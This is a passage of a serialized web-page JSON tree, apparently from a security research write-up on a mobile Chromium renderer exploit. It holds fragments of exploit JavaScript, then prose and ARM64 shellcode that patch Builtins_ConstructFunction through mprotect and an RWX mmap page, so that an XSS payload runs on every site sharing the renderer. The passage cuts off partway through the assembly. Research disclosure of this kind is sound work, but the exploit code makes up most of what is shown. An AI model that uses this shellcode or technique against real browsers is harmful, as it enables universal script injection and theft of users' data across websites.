137277},{"style":1440},[137278],{"type":28,"value":3001},{"type":23,"tag":504,"props":137280,"children":137281},{"style":523},[137282],{"type":28,"value":576},{"type":23,"tag":504,"props":137284,"children":137285},{"style":1440},[137286],{"type":28,"value":3001},{"type":23,"tag":504,"props":137288,"children":137289},{"style":523},[137290],{"type":28,"value":576},{"type":23,"tag":504,"props":137292,"children":137293},{"style":1440},[137294],{"type":28,"value":3001},{"type":23,"tag":504,"props":137296,"children":137297},{"style":523},[137298],{"type":28,"value":576},{"type":23,"tag":504,"props":137300,"children":137301},{"style":1440},[137302],{"type":28,"value":3001},{"type":23,"tag":504,"props":137304,"children":137305},{"style":523},[137306],{"type":28,"value":576},{"type":23,"tag":504,"props":137308,"children":137309},{"style":1440},[137310],{"type":28,"value":3001},{"type":23,"tag":504,"props":137312,"children":137313},{"style":523},[137314],{"type":28,"value":576},{"type":23,"tag":504,"props":137316,"children":137317},{"style":1440},[137318],{"type":28,"value":3001},{"type":23,"tag":504,"props":137320,"children":137321},{"style":523},[137322],{"type":28,"value":576},{"type":23,"tag":504,"props":137324,"children":137325},{"style":1440},[137326],{"type":28,"value":2100},{"type":23,"tag":504,"props":137328,"children":137329},{"style":523},[137330],{"type":28,"value":576},{"type":23,"tag":504,"props":137332,"children":137333},{"style":1440},[137334],{"type":28,"value":137335},"95",{"type":23,"tag":504,"props":137337,"children":137338},{"style":523},[137339],{"type":28,"value":576},{"type":23,"tag":504,"props":137341,"children":137342},{"style":1440},[137343],{"type":28,"value":137344},"36",{"type":23,"tag":504,"props":137346,"children":137347},{"style":523},[137348],{"type":28,"value":576},{"type":23,"tag":504,"props":137350,"children":137351},{"style":1440},[137352],{"type":28,"value":16275},{"type":23,"tag":504,"props":137354,"children":137355},{"style":523},[137356],{"type":28,"value":576},{"type":23,"tag":504,"props":137358,"children":137359},{"style":1440},[137360],{"type":28,"value":137361},"213",{"type":23,"tag":504,"props":137363,"children":137364},{"style":523},[137365],{"type":28,"value":576},{"type":23,"tag":504,"props":137367,"children":137368},{"style":1440},[137369],{"type":28,"value":39821},{"type":23,"tag":504,"props":137371,"children":137372},{"style":523},[137373],{"type":28,"value":576},{"type":23,"tag":504,"props":137375,"children":137376},{"style":1440},[137377],{"type":28,"value":2991},{"type":23,"tag":504,"props":137379,"children":137380},{"style":523},[137381],{"type":28,"value":576},{"type":23,"tag":504,"props":137383,"children":137384},{"style":1440},[137385],{"type":28,"value":28829},{"type":23,"tag":504,"props":137387,"children":137388},{"style":523},[137389],{"type":28,"value":576},{"type":23,"tag":504,"props":137391,"children":137392},{"style":1440},[137393],{"type":28,"value":137394},"210",{"type":23,"tag":504,"props":137396,"children":137397},{"style":523},[137398],{"type":28,"value":576},{"type":23,"tag":504,"props":137400,"children":137401},{"style":1440},[137402],{"type":28,"value":133341},{"type":23,"tag":504,"props":137404,"children":137405},{"style":523},[137406],{"type":28,"value":576},{"type":23,"tag":504,"props":137408,"children":137409},{"style":1440},[137410],{"type":28,"value":137411},"35",{"type":23,"tag":504,"props":137413,"children":137414},{"style":523},[137415],{"type":28,"value":576},{"type":23,"tag":504,"props":137417,"children":137418},{"style":1440},[137419],{"type":28,"value":16275},{"type":23,"tag":504,"props":137421,"children":137422},{"style":523},[137423],{"type":28,"value":2484},{"type":23,"tag":504,"props":137425,"children":137426},{"class":506,"line":878},[137427,137432,137436,137441,137445,137450,137454,137459,137463,137468,137472,137477,137481,137486,137490,137494,137498,137502,137506,137510,137514,137518,137522,137526,137530,137535,137539,137544,137548,137552,137556,137560,137564,137568,137572,137576,137580,137584,137588,137593,137597,137602],{"type":23,"tag":504,"props":137428,"children":137429},{"style":1440},[137430],{"type":28,"value":137431},"    213",{"type":23,"tag":504,"props":137433,"children":137434},{"style":523},[137435],{"type":28,"value":576},{"type":23,"tag":504,"props":137437,"children":137438},{"style":1440},[137439],{"type":28,"value":137440},"231",{"type":23,"tag":504,"props":137442,"children":137443},{"style":523},[137444],{"type":28,"value":576},{"type":23,"tag":504,"props":137446,"children":137447},{"style":1440},[137448],{"type":28,"value":137449},"67",{"type":23,"tag":504,"props":137451,"children":137452},{"style":523},[137453],{"type":28,"value":576},{"type":23,"tag":504,"props":137455,"children":137456},{"style":1440},[137457],{"type":28,"value":137458},"190",{"type":23,"tag":504,"props":137460,"children":137461},{"style":523},[137462],{"type":28,"value":576},{"type":23,"tag":504,"props":137464,"children":137465},{"style":1440},[137466],{"type":28,"value":137467},"169",{"type":23,"tag":504,"props":137469,"children":137470},{"style":523},[137471],{"type":28,"value":576},{"type":23,"tag":504,"props":137473,"children":137474},{"style":1440},[137475],{"type":28,"value":137476},"253",{"type":23,"tag":504,"props":137478,"children":137479},{"style":523},[137480],{"type":28,"value":576},{"type":23,"tag":504,"props":137482,"children":137483},{"style":1440},[137484],{"type":28,"value":137485},"123",{"type":23,"tag":504,"props":137487,"children":137488},{"style":523},[137489],{"type":28,"value":576},{"type":23,"tag":504,"props":137491,"children":137492},{"style":1440},[137493],{"type":28,"value":2991},{"type":23,"tag":504,"props":137495,"children":137496},{"style":523},[137497],{"type":28,"value":576},{"type":23,"tag":504,"props":137499,"children":137500},{"style":1440},[137501],{"type":28,"value":137467},{"type":23,"tag":504,"props":137503,"children":137504},{"style":523},[137505],{"type":28,"value":576},{"type":23,"tag":504,"props":137507,"children":137508},{"style":1440},[137509],{"type":28,"value":137476},{"type":23,"tag":504,"props":137511,"children":137512},{"style":523},[137513],{"type":28,"value":576},{"type":23,"tag":504,"props":137515,"children":137516},{"style":1440},[137517],{"type":28,"value":137449},{"type":23,"tag":504,"props":137519,"children":137520},{"style":523},[137521],{"type":28,"value":576},{"type":23,"tag":504,"props":137523,"children":137524},{"style":1440},[137525],{"type":28,"value":3001},{"type":23,"tag":504,"props":137527,"children":137528},{"style":523},[137529],{"type":28,"value":576},{"type":23,"tag":504,"props":137531,"children":137532},{"style":1440},[137533],{"type":28,"value":137534},"145",{"type":23,"tag":504,"props":137536,"children":137537},{"style":523},[137538],{"type":28,"value":576},{"type":23,"tag":504,"props":137540,"children":137541},{"style":1440},[137542],{"type":28,"value":137543},"191",{"type":23,"tag":504,"props":137545,"children":137546},{"style":523},[137547],{"type":28,"value":576},{"type":23,"tag":504,"props":137549,"children":137550},{"style":1440},[137551],{"type":28,"value":16275},{"type":23,"tag":504,"props":137553,"children":137554},{"style":523},[137555],{"type":28,"value":576},{"type":23,"tag":504,"props":137557,"children":137558},{"style":1440},[137559],{"type":28,"value":3001},{"type":23,"tag":504,"props":137561,"children":137562},{"style":523},[137563],{"type":28,"value":576},{"type":23,"tag":504,"props":137565,"children":137566},{"style":1440},[137567],{"type":28,"value":137534},{"type":23,"tag":504,"props":137569,"children":137570},{"style":523},[137571],{"type":28,"value":576},{"type":23,"tag":504,"props":137573,"children":137574},{"style":1440},[137575],{"type":28,"value":137476},{"type":23,"tag":504,"props":137577,"children":137578},{"style":523},[137579],{"type":28,"value":576},{"type":23,"tag":504,"props":137581,"children":137582},{"style":1440},[137583],{"type":28,"value":137485},{"type":23,"tag":504,"props":137585,"children":137586},{"style":523},[137587],{"type":28,"value":576},{"type":23,"tag":504,"props":137589,"children":137590},{"style":1440},[137591],{"type":28,"value":137592},"193",{"type":23,"tag":504,"props":137594,"children":137595},{"style":523},[137596],{"type":28,"value":576},{"type":23,"tag":504,"props":137598,"children":137599},{"style":1440},[137600],{"type":28,"value":137601},"168",{"type":23,"tag":504,"props":137603,"children":137604},{"style":523},[137605],{"type":28,"value":2484},{"type":23,"tag":504,"props":137607,"children":137608},{"class":506,"line":1221},[137609,137614,137618,137622,137626,137630,137634,137638,137642,137646,137650,137654,137658,137662,137666,137671,137675,137679,137683,137687,137691,137695,137699,137703,137707,137711,137715,137719,137723,137727,137731,137735,137739,137743,137747,137751,137755,137759,137763,137767,137771,137775,137779,137783,137787,137791,137795,137799,137803,137807,137811,137815,137819,137823],{"type":23,"tag":504,"props":137610,"children":137611},{"style":1440},[137612],{"type":28,"value":137613},"    255",{"type":23,"tag":504,"props":137615,"children":137616},{"style":523},[137617],{"type":28,"value":576},{"type":23,"tag":504,"props":137619,"children":137620},{"style":1440},[137621],{"type":28,"value":137411},{"type":23,"tag":504,"props":137623,"children":137624},{"style":523},[137625],{"type":28,"value":576},{"type":23,"tag":504,"props":137627,"children":137628},{"style":1440},[137629],{"type":28,"value":16275},{"type":23,"tag":504,"props":137631,"children":137632},{"style":523},[137633],{"type":28,"value":576},{"type":23,"tag":504,"props":137635,"children":137636},{"style":1440},[137637],{"type":28,"value":137361},{"type":23,"tag":504,"props":137639,"children":137640},{"style":523},[137641],{"type":28,"value":576},{"type":23,"tag":504,"props":137643,"children":137644},{"style":1440},[137645],{"type":28,"value":133296},{"type":23,"tag":504,"props":137647,"children":137648},{"style":523},[137649],{"type":28,"value":576},{"type":23,"tag":504,"props":137651,"children":137652},{"style":1440},[137653],{"type":28,"value":16275},{"type":23,"tag":504,"props":137655,"children":137656},{"style":523},[137657],{"type":28,"value":576},{"type":23,"tag":504,"props":137659,"children":137660},{"style":1440},[137661],{"type":28,"value":137335},{"type":23,"tag":504,"props":137663,"children":137664},{"style":523},[137665],{"type":28,"value":576},{"type":23,"tag":504,"props":137667,"children":137668},{"style":1440},[137669],{"type":28,"value":137670},"214",{"type":23,"tag":504,"props":137672,"children":137673},{"style":523},[137674],{"type":28,"value":576},{"type":23,"tag":504,"props":137676,"children":137677},{"style":1440},[137678],{"type":28,"value":95418},{"type":23,"tag":504,"props":137680,"children":137681},{"style":523},[137682],{"type":28,"value":576},{"type":23,"tag":504,"props":137684,"children":137685},{"style":1440},[137686],{"type":28,"value":59325},{"type":23,"tag":504,"props":137688,"children":137689},{"style":523},[137690],{"type":28,"value":576},{"type":23,"tag":504,"props":137692,"children":137693},{"style":1440},[137694],{"type":28,"value":16275},{"type":23,"tag":504,"props":137696,"children":137697},{"style":523},[137698],{"type":28,"value":576},{"type":23,"tag":504,"props":137700,"children":137701},{"style":1440},[137702],{"type":28,"value":137361},{"type":23,"tag":504,"props":137704,"children":137705},{"style":523},[137706],{"type":28,"value":576},{"type":23,"tag":504,"props":137708,"children":137709},{"style":1440},[137710],{"type":28,"value":16508},{"type":23,"tag":504,"props":137712,"children":137713},{"style":523},[137714],{"type":28,"value":576},{"type":23,"tag":504,"props":137716,"children":137717},{"style":1440},[137718],{"type":28,"value":3001},{"type":23,"tag":504,"props":137720,"children":137721},{"style":523},[137722],{"type":28,"value":576},{"type":23,"tag":504,"props":137724,"children":137725},{"style":1440},[137726],{"type":28,"value":3001},{"type":23,"tag":504,"props":137728,"children":137729},{"style":523},[137730],{"type":28,"value":576},{"type":23,"tag":504,"props":137732,"children":137733},{"style":1440},[137734],{"type":28,"value":3001},{"type":23,"tag":504,"props":137736,"children":137737},{"style":523},[137738],{"type":28,"value":576},{"type":23,"tag":504,"props":137740,"children":137741},{"style":1440},[137742],{"type":28,"value":3001},{"type":23,"tag":504,"props":137744,"children":137745},{"style":523},[137746],{"type":28,"value":576},{"type":23,"tag":504,"props":137748,"children":137749},{"style":1440},[137750],{"type":28,"value":3001},{"type":23,"tag":504,"props":137752,"children":137753},{"style":523},[137754],{"type":28,"value":576},{"type":23,"tag":504,"props":137756,"children":137757},{"style":1440},[137758],{"type":28,"value":3001},{"type":23,"tag":504,"props":137760,"children":137761},{"style":523},[137762],{"type":28,"value":576},{"type":23,"tag":504,"props":137764,"children":137765},{"style":1440},[137766],{"type":28,"value":3001},{"type":23,"tag":504,"props":137768,"children":137769},{"style":523},[137770],{"type":28,"value":576},{"type":23,"tag":504,"props":137772,"children":137773},{"style":1440},[137774],{"type":28,"value":3001},{"type":23,"tag":504,"props":137776,"children":137777},{"style":523},[137778],{"type":28,"value":576},{"type":23,"tag":504,"props":137780,"children":137781},{"style":1440},[137782],{"type":28,"value":16508},{"type":23,"tag":504,"props":137784,"children":137785},{"style":523},[137786],{"type":28,"value":576},{"type":23,"tag":504,"props":137788,"children":137789},{"style":1440},[137790],{"type":28,"value":3001},{"type":23,"tag":504,"props":137792,"children":137793},{"style":523},[137794],{"type":28,"value":576},{"type":23,"tag":504,"props":137796,"children":137797},{"style":1440},[137798],{"type":28,"value":3001},{"type":23,"tag":504,"props":137800,"children":137801},{"style":523},[137802],{"type":28,"value":576},{"type":23,"tag":504,"props":137804,"children":137805},{"style":1440},[137806],{"type":28,"value":3001},{"type":23,"tag":504,"props":137808,"children":137809},{"style":523},[137810],{"type":28,"value":576},{"type":23,"tag":504,"props":137812,"children":137813},{"style":1440},[137814],{"type":28,"value":3001},{"type":23,"tag":504,"props":137816,"children":137817},{"style":523},[137818],{"type":28,"value":576},{"type":23,"tag":504,"props":137820,"children":137821},{"style":1440},[137822],{"type":28,"value":3001},{"type":23,"tag":504,"props":137824,"children":137825},{"style":523},[137826],{"type":28,"value":2484},{"type":23,"tag":504,"props":137828,"children":137829},{"class":506,"line":1276},[137830,137834,137838,137842,137846,137850,137854,137858,137862,137866,137870,137875,137879,137884,137888,137893,137897,137901],{"type":23,"tag":504,"props":137831,"children":137832},{"style":1440},[137833],{"type":28,"value":132948},{"type":23,"tag":504,"props":137835,"children":137836},{"style":523},[137837],{"type":28,"value":576},{"type":23,"tag":504,"props":137839,"children":137840},{"style":1440},[137841],{"type":28,"value":3001},{"type":23,"tag":504,"props":137843,"children":137844},{"style":523},[137845],{"type":28,"value":576},{"type":23,"tag":504,"props":137847,"children":137848},{"style":1440},[137849],{"type":28,"value":3001},{"type":23,"tag":504,"props":137851,"children":137852},{"style":523},[137853],{"type":28,"value":576},{"type":23,"tag":504,"props":137855,"children":137856},{"style":1440},[137857],{"type":28,"value":3001},{"type":23,"tag":504,"props":137859,"children":137860},{"style":523},[137861],{"type":28,"value":576},{"type":23,"tag":504,"props":137863,"children":137864},{"style":1440},[137865],{"type":28,"value":3001},{"type":23,"tag":504,"props":137867,"children":137868},{"style":523},[137869],{"type":28,"value":576},{"type":23,"tag":504,"props":137871,"children":137872},{"style":1440},[137873],{"type":28,"value":137874},"92",{"type":23,"tag":504,"props":137876,"children":137877},{"style":523},[137878],{"type":28,"value":576},{"type":23,"tag":504,"props":137880,"children":137881},{"style":1440},[137882],{"type":28,"value":137883},"50",{"type":23,"tag":504,"props":137885,"children":137886},{"style":523},[137887],{"type":28,"value":576},{"type":23,"tag":504,"props":137889,"children":137890},{"style":1440},[137891],{"type":28,"value":137892},"162",{"type":23,"tag":504,"props":137894,"children":137895},{"style":523},[137896],{"type":28,"value":576},{"type":23,"tag":504,"props":137898,"children":137899},{"style":1440},[137900],{"type":28,"value":3001},{"type":23,"tag":504,"props":137902,"children":137903},{"style":523},[137904],{"type":28,"value":2484},{"type":23,"tag":504,"props":137906,"children":137907},{"class":506,"line":1285},[137908],{"type":23,"tag":504,"props":137909,"children":137910},{"style":523},[137911],{"type":28,"value":133235},{"type":23,"tag":504,"props":137913,"children":137914},{"class":506,"line":1294},[137915,137919,137923,137927,137931,137935,137939,137943,137947,137951,137955],{"type":23,"tag":504,"props":137916,"children":137917},{"style":511},[137918],{"type":28,"value":6838},{"type":23,"tag":504,"props":137920,"children":137921},{"style":529},[137922],{"type":28,"value":134688},{"type":23,"tag":504,"props":137924,"children":137925},{"style":598},[137926],{"type":28,"value":648},{"type":23,"tag":504,"props":137928,"children":137929},{"style":517},[137930],{"type":28,"value":134697},{"type":23,"tag":504,"props":137932,"children":137933},{"style":523},[137934],{"type":28,"value":526},{"type":23,"tag":504,"props":137936,"children":137937},{"style":529},[137938],{"type":28,"value":132566},{"type":23,"tag":504,"props":137940,"children":137941},{"style":523},[137942],{"type":28,"value":576},{"type":23,"tag":504,"props":137944,"children":137945},{"style":529},[137946],{"type":28,"value":123893},{"type":23,"tag":504,"props":137948,"children":137949},{"style":523},[137950],{"type":28,"value":320},{"type":23,"tag":504,"props":137952,"children":137953},{"style":529},[137954],{"type":28,"value":123893},{"type":23,"tag":504,"props":137956,"children":137957},{"style":523},[137958],{"type":28,"value":630},{"type":23,"tag":504,"props":137960,"children":137961},{"class":506,"line":1302},[137962,137966,137970,137974,137978,137982,137986,137990,137994,137998],{"type":23,"tag":504,"props":137963,"children":137964},{"style":529},[137965],{"type":28,"value":134733},{"type":23,"tag":504,"props":137967,"children":137968},{"style":598},[137969],{"type":28,"value":648},{"type":23,"tag":504,"props":137971,"children":137972},{"style":523},[137973],{"type":28,"value":801},{"type":23,"tag":504,"props":137975,"children":137976},{"style":544},[137977],{"type":28,"value":31893},{"type":23,"tag":504,"props":137979,"children":137980},{"style":529},[137981],{"type":28,"value":134688},{"type":23,"tag":504,"props":137983,"children":137984},{"style":523},[137985],{"type":28,"value":320},{"type":23,"tag":504,"props":137987,"children":137988},{"style":517},[137989],{"type":28,"value":56544},{"type":23,"tag":504,"props":137991,"children":137992},{"style":523},[137993],{"type":28,"value":134762},{"type":23,"tag":504,"props":137995,"children":137996},{"style":529},[137997],{"type":28,"value":38128},{"type":23,"tag":504,"props":137999,"children":138000},{"style":523},[138001],{"type":28,"value":866},{"type":23,"tag":504,"props":138003,"children":138004},{"class":506,"line":1311},[138005,138009,138013,138017,138021,138026,138030,138034],{"type":23,"tag":504,"props":138006,"children":138007},{"style":529},[138008],{"type":28,"value":100695},{"type":23,"tag":504,"props":138010,"children":138011},{"style":523},[138012],{"type":28,"value":320},{"type":23,"tag":504,"props":138014,"children":138015},{"style":517},[138016],{"type":28,"value":100704},{"type":23,"tag":504,"props":138018,"children":138019},{"style":523},[138020],{"type":28,"value":526},{"type":23,"tag":504,"props":138022,"children":138023},{"style":622},[138024],{"type":28,"value":138025},"'DeserializeWasmModule result: '",{"type":23,"tag":504,"props":138027,"children":138028},{"style":598},[138029],{"type":28,"value":7888},{"type":23,"tag":504,"props":138031,"children":138032},{"style":529},[138033],{"type":28,"value":8142},{"type":23,"tag":504,"props":138035,"children":138036},{"style":523},[138037],{"type":28,"value":630},{"type":23,"tag":504,"props":138039,"children":138040},{"class":506,"line":1334},[138041,138045,138049,138053,138057,138061,138065,138069,138073,138077],{"type":23,"tag":504,"props":138042,"children":138043},{"style":511},[138044],{"type":28,"value":35165},{"type":23,"tag":504,"props":138046,"children":138047},{"style":529},[138048],{"type":28,"value":134782},{"type":23,"tag":504,"props":138050,"children":138051},{"style":598},[138052],{"type":28,"value":648},{"type":23,"tag":504,"props":138054,"children":138055},{"style":511},[138056],{"type":28,"value":30911},{"type":23,"tag":504,"props":138058,"children":138059},{"style":529},[138060],{"type":28,"value":132549},{"type":23,"tag":504,"props":138062,"children":138063},{"style":523},[138064],{"type":28,"value":320},{"type":23,"tag":504,"props":138066,"children":138067},{"style":517},[138068],{"type":28,"value":132603},{"type":23,"tag":504,"props":138070,"children":138071},{"style":523},[138072],{"type":28,"value":526},{"type":23,"tag":504,"props":138074,"children":138075},{"style":529},[138076],{"type":28,"value":8065},{"type":23,"tag":504,"props":138078,"children":138079},{"style":523},[138080],{"type":28,"value":630},{"type":23,"tag":504,"props":138082,"children":138083},{"class":506,"line":1370},[138084,138088,138092,138096,138100,138104,138108,138112,138116],{"type":23,"tag":504,"props":138085,"children":138086},{"style":511},[138087],{"type":28,"value":35165},{"type":23,"tag":504,"props":138089,"children":138090},{"style":529},[138091],{"type":28,"value":31948},{"type":23,"tag":504,"props":138093,"children":138094},{"style":598},[138095],{"type":28,"value":648},{"type":23,"tag":504,"props":138097,"children":138098},{"style":529},[138099],{"type":28,"value":134782},{"type":23,"tag":504,"props":138101,"children":138102},{"style":523},[138103],{"type":28,"value":320},{"type":23,"tag":504,"props":138105,"children":138106},{"style":529},[138107],{"type":28,"value":36862},{"type":23,"tag":504,"props":138109,"children":138110},{"style":523},[138111],{"type":28,"value":320},{"type":23,"tag":504,"props":138113,"children":138114},{"style":529},[138115],{"type":28,"value":132652},{"type":23,"tag":504,"props":138117,"children":138118},{"style":523},[138119],{"type":28,"value":866},{"type":23,"tag":504,"props":138121,"children":138122},{"class":506,"line":1384},[138123,138127,138131,138135,138139,138143],{"type":23,"tag":504,"props":138124,"children":138125},{"style":529},[138126],{"type":28,"value":100695},{"type":23,"tag":504,"props":138128,"children":138129},{"style":523},[138130],{"type":28,"value":320},{"type":23,"tag":504,"props":138132,"children":138133},{"style":517},[138134],{"type":28,"value":100704},{"type":23,"tag":504,"props":138136,"children":138137},{"style":523},[138138],{"type":28,"value":526},{"type":23,"tag":504,"props":138140,"children":138141},{"style":529},[138142],{"type":28,"value":32062},{"type":23,"tag":504,"props":138144,"children":138145},{"style":523},[138146],{"type":28,"value":630},{"type":23,"tag":504,"props":138148,"children":138149},{"class":506,"line":1392},[138150],{"type":23,"tag":504,"props":138151,"children":138152},{"style":523},[138153],{"type":28,"value":100736},{"type":23,"tag":24,"props":138155,"children":138156},{},[138157],{"type":28,"value":138158},"And this time, it works as expected:",{"type":23,"tag":24,"props":138160,"children":138161},{},[138162],{"type":23,"tag":126,"props":138163,"children":138166},{"alt":138164,"src":138165},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":23,"tag":82,"props":138168,"children":138170},{"id":138169},"achieving-universal-xss",[138171],{"type":28,"value":138172},"Achieving Universal XSS",{"type":23,"tag":24,"props":138174,"children":138175},{},[138176,138178,138184,138186,138193],{"type":28,"value":138177},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":23,"tag":92,"props":138179,"children":138182},{"href":138180,"rel":138181},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[96],[138183],{"type":28,"value":930},{"type":28,"value":138185}," from Tencent Security and ",{"type":23,"tag":92,"props":138187,"children":138190},{"href":138188,"rel":138189},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[96],[138191],{"type":28,"value":138192},"research article",{"type":28,"value":138194}," from InterruptLabs.",{"type":23,"tag":24,"props":138196,"children":138197},{},[138198,138200,138207],{"type":28,"value":138199},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":23,"tag":92,"props":138201,"children":138204},{"href":138202,"rel":138203},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[96],[138205],{"type":28,"value":138206},"weaker version",{"type":28,"value":138208}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":23,"tag":24,"props":138210,"children":138211},{},[138212,138214,138220],{"type":28,"value":138213},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":23,"tag":56,"props":138215,"children":138217},{"className":138216},[],[138218],{"type":28,"value":138219},"Builtins_ConstructFunction",{"type":28,"value":138221},", making it a natural target.",{"type":23,"tag":24,"props":138223,"children":138224},{},[138225,138227,138232],{"type":28,"value":138226},"Our goal is for ",{"type":23,"tag":56,"props":138228,"children":138230},{"className":138229},[],[138231],{"type":28,"value":138219},{"type":28,"value":138233}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":23,"tag":350,"props":138235,"children":138236},{},[138237,138242,138252],{"type":23,"tag":45,"props":138238,"children":138239},{},[138240],{"type":28,"value":138241},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":23,"tag":45,"props":138243,"children":138244},{},[138245,138247],{"type":28,"value":138246},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":23,"tag":56,"props":138248,"children":138250},{"className":138249},[],[138251],{"type":28,"value":138219},{"type":23,"tag":45,"props":138253,"children":138254},{},[138255,138257,138262],{"type":28,"value":138256},"The mmap-ed shellcode then returns to the beginning of ",{"type":23,"tag":56,"props":138258,"children":138260},{"className":138259},[],[138261],{"type":28,"value":138219},{"type":28,"value":138263},", which now proceeds normally",{"type":23,"tag":24,"props":138265,"children":138266},{},[138267],{"type":28,"value":138268},"The ARM64 shellcode implementing this looks as follows:",{"type":23,"tag":494,"props":138270,"children":138274},{"code":138271,"language":138272,"meta":7,"className":138273,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[138275],{"type":23,"tag":56,"props":138276,"children":138277},{"__ignoreMap":7},[138278,138286,138294,138302,138310,138317,138325,138333,138341,138349,138356,138364,138372,138380,138388,138396,138403,138411,138419,138427,138435,138443,138451,138458,138466,138473,138481,138489,138497,138504,138512,138520,138528,138536,138543,138550,138557,138564,138572,138580,138588,138595,138603,138611,138618,138626,138634,138642,138649,138657,138665,138673,138681,138688,138695,138703],{"type":23,"tag":504,"props":138279,"children":138280},{"class":506,"line":507},[138281],{"type":23,"tag":504,"props":138282,"children":138283},{},[138284],{"type":28,"value":138285},"// get return addr to x0\n",{"type":23,"tag":504,"props":138287,"children":138288},{"class":506,"line":540},[138289],{"type":23,"tag":504,"props":138290,"children":138291},{},[138292],{"type":28,"value":138293},"ldr x0, [sp, #0x18]\n",{"type":23,"tag":504,"props":138295,"children":138296},{"class":506,"line":555},[138297],{"type":23,"tag":504,"props":138298,"children":138299},{},[138300],{"type":28,"value":138301},"// strip pac signature from return address\n",{"type":23,"tag":504,"props":138303,"children":138304},{"class":506,"line":633},[138305],{"type":23,"tag":504,"props":138306,"children":138307},{},[138308],{"type":28,"value":138309},".arch armv8.3-a; xpaci x0\n",{"type":23,"tag":504,"props":138311,"children":138312},{"class":506,"line":687},[138313],{"type":23,"tag":504,"props":138314,"children":138315},{"emptyLinePlaceholder":16},[138316],{"type":28,"value":1038},{"type":23,"tag":504,"props":138318,"children":138319},{"class":506,"line":736},[138320],{"type":23,"tag":504,"props":138321,"children":138322},{},[138323],{"type":28,"value":138324},"// store x5 = Builtins_ConstructFunction\n",{"type":23,"tag":504,"props":138326,"children":138327},{"class":506,"line":785},[138328],{"type":23,"tag":504,"props":138329,"children":138330},{},[138331],{"type":28,"value":138332},"movz x1, #0x610c\n",{"type":23,"tag":504,"props":138334,"children":138335},{"class":506,"line":813},[138336],{"type":23,"tag":504,"props":138337,"children":138338},{},[138339],{"type":28,"value":138340},"sub x0, x0, x1\n",{"type":23,"tag":504,"props":138342,"children":138343},{"class":506,"line":851},[138344],{"type":23,"tag":504,"props":138345,"children":138346},{},[138347],{"type":28,"value":138348},"mov x5, x0\n",{"type":23,"tag":504,"props":138350,"children":138351},{"class":506,"line":869},[138352],{"type":23,"tag":504,"props":138353,"children":138354},{"emptyLinePlaceholder":16},[138355],{"type":28,"value":1038},{"type":23,"tag":504,"props":138357,"children":138358},{"class":506,"line":878},[138359],{"type":23,"tag":504,"props":138360,"children":138361},{},[138362],{"type":28,"value":138363},"// store x4 = page aligned ConstructFunction\n",{"type":23,"tag":504,"props":138365,"children":138366},{"class":506,"line":1221},[138367],{"type":23,"tag":504,"props":138368,"children":138369},{},[138370],{"type":28,"value":138371},"movz x1, #0xf000\n",{"type":23,"tag":504,"props":138373,"children":138374},{"class":506,"line":1276},[138375],{"type":23,"tag":504,"props":138376,"children":138377},{},[138378],{"type":28,"value":138379},"movk x1, #0xffff, lsl #16\n",{"type":23,"tag":504,"props":138381,"children":138382},{"class":506,"line":1285},[138383],{"type":23,"tag":504,"props":138384,"children":138385},{},[138386],{"type":28,"value":138387},"movk x1, #0xffff, lsl #32\n",{"type":23,"tag":504,"props":138389,"children":138390},{"class":506,"line":1294},[138391],{"type":23,"tag":504,"props":138392,"children":138393},{},[138394],{"type":28,"value":138395},"and x4, x5, x1\n",{"type":23,"tag":504,"props":138397,"children":138398},{"class":506,"line":1302},[138399],{"type":23,"tag":504,"props":138400,"children":138401},{"emptyLinePlaceholder":16},[138402],{"type":28,"value":1038},{"type":23,"tag":504,"props":138404,"children":138405},{"class":506,"line":1311},[138406],{"type":23,"tag":504,"props":138407,"children":138408},{},[138409],{"type":28,"value":138410},"// mprotect page aligned ConstructFunction RWX\n",{"type":23,"tag":504,"props":138412,"children":138413},{"class":506,"line":1334},[138414],{"type":23,"tag":504,"props":138415,"children":138416},{},[138417],{"type":28,"value":138418},"mov x0, x4\n",{"type":23,"tag":504,"props":138420,"children":138421},{"class":506,"line":1370},[138422],{"type":23,"tag":504,"props":138423,"children":138424},{},[138425],{"type":28,"value":138426},"mov x1, 